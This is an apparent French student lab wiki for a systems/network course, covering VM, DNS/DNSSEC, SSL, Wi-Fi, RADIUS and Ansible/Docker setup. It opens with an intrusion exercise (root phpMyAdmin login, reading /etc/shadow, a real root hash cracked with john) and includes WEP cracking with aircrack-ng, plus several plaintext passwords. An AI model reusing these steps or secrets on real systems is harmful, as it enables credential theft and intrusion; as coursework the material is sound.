on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55000</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55000"/>
				<updated>2020-12-18T21:23:10Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
